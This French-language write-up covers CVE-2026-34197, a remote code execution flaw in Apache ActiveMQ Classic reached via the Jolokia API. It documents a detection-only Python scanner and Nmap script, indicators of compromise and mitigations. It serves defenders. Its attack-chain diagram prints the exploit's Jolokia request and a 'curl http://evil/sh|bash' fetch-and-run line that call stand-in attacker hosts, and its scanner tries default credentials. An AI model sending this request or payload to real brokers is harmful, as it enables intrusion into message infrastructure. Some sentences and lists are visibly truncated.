
Détecte la RCE Apache ActiveMQ Classic (CVE-2026-34197) via l'API Jolokia avec des scripts Python et Nmap NSE, en vérifiant l'accès non authentifié et la vulnérabilité de version.
Une vulnérabilité d'exécution de code à distance dans Apache ActiveMQ Classic qui permet à un attaquant d'exécuter du code arbitraire en invoquant l'opération MBean addNetworkConnector(String) via l'API Jolokia (/api/jolokia/). L'attaquant intègre un paramètre brokerConfig malveillant pointant vers un fichier XML Spring distant, qu'ActiveMQ récupère et analyse, instanciant des objets Java arbitraires et parvenant à une exécution de code.
Sur les , le point de terminaison Jolokia est , ce qui en fait une RCE non authentifiée sans interaction utilisateur.
Cette vulnérabilité est restée cachée dans le code source pendant 13 ans avant d'être découverte avec l'aide de l'IA.
| Champ | Détail |
|---|---|
| ID CVE | CVE-2026-34197 |
| Fournisseur | Apache Software Foundation |
| Produit | Apache ActiveMQ Classic |
| Versions concernées | Toutes les versions antérieures à 5.19.4 et 6.2.3 |
| RCE non authentifiée | Versions 6.0.0 à 6.1.1 (Jolokia sans authentification) |
| CVSS v3.1 | 8.8 (Élevée) |
| CWE | CWE-94 — Contrôle inadéquat de la génération de code |
| Vecteur d'attaque | Réseau |
| Authentification | Requise sur 5.x ; aucune sur 6.0.0 à 6.1.1 |
| Interaction utilisateur | Aucune |
| Maturité de l'exploit | PoC public disponible |
| Corrigé dans | ActiveMQ Classic 5.19.4, 6.2.3 |
| Âge du bug | ~13 ans dans le code source |
| Découverte | Recherche de vulnérabilités assistée par IA |
Apache ActiveMQ Classic est l'un des courtiers de messages open source les plus largement déployés dans l'écosystème Java. Il implémente la spécification Java Message Service (JMS) et sert de colonne vertébrale à la communication asynchrone dans des milliers d'environnements d'entreprise dans le monde entier.
ActiveMQ gère tout, des files d'attente de traitement de commandes et des pipelines de transactions financières aux flux de télémétrie IoT et aux bus d'événements de microservices. Si votre organisation utilise des microservices basés sur Java, une architecture pilotée par les événements ou toute forme de messagerie asynchrone, il y a de fortes chances qu'ActiveMQ soit quelque part dans la pile.``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here
Lorsqu'un attaquant compromet ActiveMQ, il n'obtient pas seulement un shell sur un serveur. Il se retrouve au **centre de chaque flux de messages** de l'organisation, capable de lire, modifier, rediriger ou injecter des messages entre les systèmes critiques.
---
## Analyse approfondie de la vulnérabilité
### L'architecture : Jolokia et JMX
**JMX** (Java Management Extensions) est l'interface de gestion standard pour les applications Java. Elle expose des « MBeans » (Managed Beans) qui permettent de surveiller et de contrôler les composants internes de l'application. ActiveMQ expose des MBeans pour gérer les brokers, les files d'attente, les topics, les connexions, et plus encore.
**Jolokia** est un pont JMX-over-HTTP. Il traduit les opérations JMX en une API JSON RESTful, permettant de gérer des applications Java via des requêtes HTTP plutôt que d'exiger un client JMX dédié.
ActiveMQ Classic est livré avec Jolokia intégré, accessible à l'adresse `/api/jolokia/` sur le port de la console web (par défaut : 8161).```
Traditional JMX Access:
┌──────────┐ ┌──────────────┐
│ JConsole │ ────── JMX Protocol ─────────> │ ActiveMQ │
│ │ (requires JMX client) │ MBeans │
└──────────┘ └──────────────┘
Jolokia HTTP Access:
┌──────────┐ ┌──────────────┐
│ curl / │ ── POST /api/jolokia/ ───────> │ ActiveMQ │
│ browser │ (just needs HTTP) │ MBeans │
└──────────┘ └──────────────┘
⬆️
Anyone with HTTP access can
invoke MBean operations
C'est là que les problèmes commencent. Jolokia expose toute la puissance de la gestion JMX via une simple API HTTP. Et l'une des opérations MBean disponibles sur le broker est addNetworkConnector(String).
L'opération addNetworkConnector(String) est conçue pour créer des ponts réseau entre les instances de broker ActiveMQ. Elle accepte une chaîne URI décrivant comment se connecter à un autre broker.
ActiveMQ prend en charge le schéma d'URI vm:// pour les connexions de broker en processus. Ces URI prennent en charge un paramètre brokerConfig qui pointe vers un fichier de configuration Spring XML. Et Spring XML peut instancier des objets Java arbitraires.
Voici la chaîne complète :``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘
ActiveMQ fait exactement ce pour quoi il a été conçu : charger une configuration de broker. Le problème est que la source de configuration est contrôlée par l'attaquant, et que le XML Spring est en réalité un format d'exécution de code.
### La lacune d'authentification
C'est ce qui fait passer la vulnérabilité de grave à critique :
| Version d'ActiveMQ | Statut d'authentification Jolokia | Impact |
|:---:|:---:|:---:|
| 5.x (< 5.19.4) | Authentifié (valeurs par défaut : admin:admin) | RCE authentifié, souvent trivialement contourné |
| 6.0.0 à 6.1.1 | **Totalement non authentifié** | **RCE non authentifié** |
| 6.1.2 à 6.2.2 | Authentifié | RCE authentifié |
| 5.19.4+ / 6.2.3+ | Corrigé | Non vulnérable |
Sur ActiveMQ 6.0.0 à 6.1.1, le point de terminaison Jolokia ne requiert **aucune authentification**. Toute personne pouvant atteindre le port 8161 obtient une exécution de code à distance non authentifiée.
Même sur les versions où Jolokia exige une authentification, les identifiants par défaut `admin:admin` sont largement connus et fréquemment laissés inchangés dans les environnements de développement, de préproduction et de production.
---
## Analyse de l'impact
**Impact immédiat sur l'hôte du broker :**
- Exécution complète de code à distance avec les privilèges du processus ActiveMQ
- Accès à toutes les files de messages, aux topics et aux messages stockés
- Capacité de lire, modifier ou injecter des messages en transit
- Accès aux fichiers de configuration, aux keystores et aux identifiants stockés
**Impact en aval (via la manipulation des messages) :**
- Injection de messages malveillants dans les files de traitement
- Modification de transactions financières, de commandes ou de requêtes en cours
- Interception de données sensibles transitant par le broker
- Perturbation de tous les services dépendant des messages
**Amplification du risque d'entreprise :**
- ActiveMQ se situe à l'intersection de chaque application qui l'utilise
- Un seul broker compromis peut affecter des dizaines de services connectés
- Les brokers de messages sont généralement positionnés dans des zones réseau de confiance avec un accès étendu
- Le mouvement latéral est simple depuis la position réseau du broker```
What an attacker can do after exploitation:
┌─────────────────────────────────────────────────────────┐
│ Compromised ActiveMQ Broker │
└────┬───────────┬───────────┬───────────┬──────────┬─────┘
│ │ │ │ │
▼ ▼ ▼ ▼ ▼
Read/modify Inject Pivot to Intercept Deploy
messages malicious connected creds in persistent
in transit messages systems messages backdoor
| Version | Statut |
|---|---|
| ActiveMQ Classic 6.2.3+ | Corrigé |
| ActiveMQ Classic 5.19.4+ | Corrigé |
| ActiveMQ Classic 6.0.0 à 6.2.2 | Vulnérable (6.0.0 à 6.1.1 = non authentifié) |
| ActiveMQ Classic < 5.19.4 | Vulnérable (authentifié) |
| ActiveMQ Artemis | Non concerné (base de code différente) |
Le script Python détecte les instances ActiveMQ vulnérables grâce à une analyse en plusieurs étapes.
Comment cela fonctionne :
/api/jolokia/ est accessible sans authentification (HTTP 200 = ouvert, 401 = authentification requise)admin:admin, user:user, admin:activemq/admin/ et / pour trouver les chaînes de version ActiveMQ à l'aide de correspondances par expressions régulièresorg.apache.activemq:type=Broker afin de confirmer que le chemin d'exploitation existeAucune charge utile d'exploitation n'est envoyée. Aucune commande n'est exécutée. Le scanner observe uniquement l'accessibilité des points de terminaison et les informations de version.
Utilisation :```bash
pip install -r requirements.txt
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20
**Options :**
| Drapeau | Description | Défaut |
|------|-------------|---------|
| `-t`, `--target` | URL cible unique (par ex. `http://host:8161`) | — |
| `-f`, `--file` | Fichier contenant les URL cibles, une par ligne (commentaires `#` pris en charge) | — |
| `-u`, `--username` | Nom d'utilisateur pour l'authentification Jolokia | — |
| `-p`, `--password` | Mot de passe pour l'authentification Jolokia | — |
| `-o`, `--output` | Enregistrer les résultats dans un fichier JSON | — |
| `--timeout` | Délai de connexion en secondes | `10` |
| `--verify-ssl` | Activer la vérification du certificat SSL | Désactivé |
| `-v`, `--verbose` | Sortie détaillée avec informations complètes | Désactivé |
**Exemple de sortie :**```
[*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner
[*] Scanning 1 target(s)...
======================================================================
Target: http://10.0.0.1:8161
Scan Time: 2026-04-14T15:30:00Z
Risk Level: CRITICAL
======================================================================
Jolokia Accessible: YES
Requires Auth: NO (unauthenticated)
ActiveMQ Version: 6.1.0
Vulnerable: YES
Unauth RCE (6.0-6.1): YES — CRITICAL
Broker MBean Access: YES
Details:
- Jolokia API accessible WITHOUT authentication
- Detected ActiveMQ version: 6.1.0
- Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1)
CRITICAL: No auth required!
- Broker MBean accessible: [org.apache.activemq:type=Broker,...]
======================================================================
[*] Scan Complete: 1 targets scanned
[*] Vulnerable: 1 | Critical: 1
======================================================================
sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/ sudo nmap --script-updatedb
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24
nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt
nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia
**Exemple de sortie Nmap :**```
PORT STATE SERVICE
8161/tcp open http
| CVE-2026-34197_ActiveMQ_Jolokia:
| VULNERABLE:
| Apache ActiveMQ Jolokia RCE (CVE-2026-34197)
| State: VULNERABLE
| Risk level: CRITICAL
| ActiveMQ Version: 6.1.0
| Jolokia Accessible: true (unauthenticated)
| Description:
| CRITICAL: Jolokia API is accessible without authentication on
| ActiveMQ 6.1.0, enabling unauthenticated remote code execution
| via addNetworkConnector MBean.
| References:
|_ https://nvd.nist.gov/vuln/detail/CVE-2026-34197
Si vous souhaitez vérifier manuellement avec curl :```bash
curl -sk http://:8161/api/jolokia/ | python3 -m json.tool
curl -sk -u admin:admin http://:8161/api/jolokia/ | python3 -m json.tool
curl -sk http://:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=*
| python3 -m json.tool
Si l'étape 1 renvoie une réponse JSON avec les informations de l'agent Jolokia, le point de terminaison n'est pas authentifié. Si l'étape 2 fonctionne avec les identifiants par défaut, vous disposez d'un accès authentifié. Dans les deux cas, si le MBean du broker est accessible, le chemin d'exploitation existe.
---
## Indicateurs de compromission
Surveillez ces signes dans votre environnement :
| Indicateur | Où vérifier | Ce qu'il faut rechercher |
|:---|:---|:---|
| Accès Jolokia | Journaux d'accès de la console web | POST vers `/api/jolokia/` contenant `addNetworkConnector` |
| Récupération sortante | Journaux réseau / pare-feu | Requêtes HTTP d'ActiveMQ vers des hôtes externes inattendus |
| Chargement XML Spring | Journaux ActiveMQ | Références aux URI `xbean:http://` |
| Connecteurs réseau | Configuration du broker | URI `vm://` avec des paramètres `brokerConfig` que vous n'avez pas créés |
| Processus enfants | Surveillance des processus | Processus inattendus générés par le processus Java ActiveMQ |
**Commandes d'investigation :**```bash
# Check ActiveMQ logs for suspicious Jolokia operations
grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/
# Check for unexpected network connectors in running broker
curl -sk http://<TARGET>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors
# Monitor for unexpected outbound connections from the ActiveMQ process
ss -tnp | grep java
# Check for unexpected child processes
ps aux --forest | grep -A5 activemq
Actions immédiates (à faire maintenant) :
/api/jolokia/admin:admin sur la console webÀ court terme (cette semaine) :
addNetworkConnector)À long terme :
Kerem Oruç — Ingénieur en cybersécurité